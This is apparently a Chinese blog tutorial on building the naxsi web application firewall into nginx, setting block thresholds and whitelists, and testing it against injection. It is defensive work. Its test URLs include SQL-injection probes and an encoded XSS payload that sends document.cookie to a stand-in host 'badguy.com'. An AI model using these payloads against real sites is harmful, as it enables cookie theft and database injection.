`
zl378837964
  • 浏览: 191031 次
  • 性别: Icon_minigender_2
  • 来自: 北京
社区版块
存档分类
最新评论

Nginx 使用naxsi 防xss、防注入攻击配置

    博客分类:
  • web
阅读更多

== 对于nginx有相应模块来完成WAF构建,此处使用的是naxsi模块。  ==

 Naxsi是一个开放源代码、高效、低维护规则的Nginx web应用防火墙模块。Naxsi的主要目标是帮助人们加固他们的web应用程序,以抵御SQL注入、跨站脚本、跨域伪造请求、本地和远程文件包含漏洞。

 

一、安装前提

  1.必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
  2.下载naxsi模块:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz  ;

二、安装说明

  1、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
  2、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
  3、完成安装后,需要将其与nginx关联起来:
  》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
     对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.1(nginx的源文件目录)下
     执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
     添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
     可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
  4、对其执行 make & make install 命令,重新编译;

三、配置说明

    官网说明见 :  http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi  ;
  1、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
  2、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
  3、在nginx.conf中配置:
   1>、添加naxsi核心配置
   http {
   #include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
   #若步做上第一步,则需要指定全路径
    include  naxsi_core.rules;
    include  mime.types;
    .....
   }
   2>、
     # 配置防攻击
        location /xss {
        include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置
         default_type text/plain;

        content_by_lua '
          ngx.say("({\'Test xss ,come in please!!!\'})");
        ';

         root html;
      }
 

location /RequestDenied {

   return 403;
          #proxy_pass  [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
  ]}
        error_page 403 /403.html; # 在nginx/html/目录下新建的页面用来提示拦截

     3>、配置naxsi_nbs.rules文件

  #LearningMode; #Enables learning mode
  SecRulesEnabled;
  #SecRulesDisabled;
  DeniedUrl "/RequestDenied";

         ## check rules
  CheckRule "$SQL >= 8" BLOCK;
  CheckRule "$RFI >= 8" BLOCK;
  CheckRule "$TRAVERSAL >= 4"
  BLOCK; CheckRule "$EVADE >= 4" BLOCK;
  CheckRule "$XSS >= 8" BLOCK;

    4、还可以添加白名单naxsi_BasicRule.conf
      测试使用:
       BasicRule wl:0 "mz:$ARGS_VAR:script";
      BasicRule wl:0 "mz:$ARGS_VAR:id";
      表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;
 
 BasicRule:规则说明,具体参见: http://code.google.com/p/naxsi/wiki/BasicRule
 wl:ID (WhiteList): Which rule ID(s) are whitelisted.
 mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx   location context to enable a rule.
 ◦ARGS : GET args
 ◦HEADERS : HTTP Headers
 ◦BODY : POST args
 ◦URL : The URL (before '?')
 ◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
 For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.

 四、测试使用说明 
  1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
  2、测试链接:
      http://10.142.138.61:8888/xss/                        通过
      http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1    通过,因为配置到白名单
      http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1  不通过,含有条件注入
      http://10.142.138.61:8888/xss/?name=%28%29            不通过,特殊字符
      http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
                                                           不通过,参数内容含脚本注入
      http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
                                                           不通过

3
2
分享到:
评论
1 楼 lixin3811 2013-08-19  
赞一个,博主,请问是否可以配置检查内容?

相关推荐

    基于nginx的waf方案naxsi源码理解(5)-主要结构体

    Naxsi是一个强大的Web应用程序防火墙(WAF),它作为Nginx的一个模块运行,用于保护网站免受各种类型的攻击,如SQL注入、XSS、CSRF等。Naxsi的核心在于其规则引擎,该引擎解析并执行由`naxsi_core.rules`配置文件...

    对nginx-naxsi白名单规则详解

    Nginx-Naxsi是一个强大的Web应用防火墙模块,用于保护服务器免受潜在的恶意攻击,如SQL注入、跨站脚本(XSS)等。Naxsi通过定义一系列规则来检测和阻止这些攻击。然而,有时我们需要对某些特定的合法请求进行豁免,...

    naxsi-master

    它的主要任务是防御针对Web应用程序的跨站脚本攻击(XSS)和SQL注入攻击,确保网站的安全性。Naxsi以其轻量级的特性,快速响应,且易于集成到现有的Nginx服务器配置中,成为了许多企业和开发者的选择。 1. **Naxsi...

    naxsi-rules

    Naxsi(Nginx Anti XSS & SQL Injection)是一款开源的Web应用防火墙模块,专为Nginx服务器设计,用于防御跨站脚本攻击(XSS)和SQL注入攻击。这个名为“naxsi-rules”的压缩包包含了由社区贡献和维护的一系列规则,...

    setup-ghost-blog:使用Nginx和ModSecurityNaxsi Web应用程序防火墙安装自己的Ghost博客的脚本。 支持多个博客

    Naxsi是ModSecurity的一个规则集,专为Nginx设计,提供了对常见Web攻击的防护,如SQL注入和跨站脚本(XSS)。 安装流程如下: 1. **安装先决条件**:确保你的系统已经安装了Node.js、Git和Nginx。对于Ubuntu/...

    nginx-ee:具有附加模块支持的源代码自动Nginx编译。 与WordOps,EasyEngine和Plesk兼容

    7. **naxsi**:一个开源的Nginx Web应用防火墙模块,用于防止SQL注入和XSS攻击等。 8. **pagespeed**:Google开发的模块,用于优化网站性能,包括静态资源的压缩和缓存。 9. **hpack**:HTTP/2头部压缩算法,提高了...

    WAF的实现与架构演进.pptx

    它可以检测和阻断常见的 Web 攻击,如 SQL 注入、跨站脚本攻击(XSS)、网页木马上传、命令/代码注入、文件包含、敏感文件访问、第三方应用漏洞攻击、跨站请求伪造(CSRF)等。 WAF 的实现可以分为三个方面:硬件...

Global site tag (gtag.js) - Google Analytics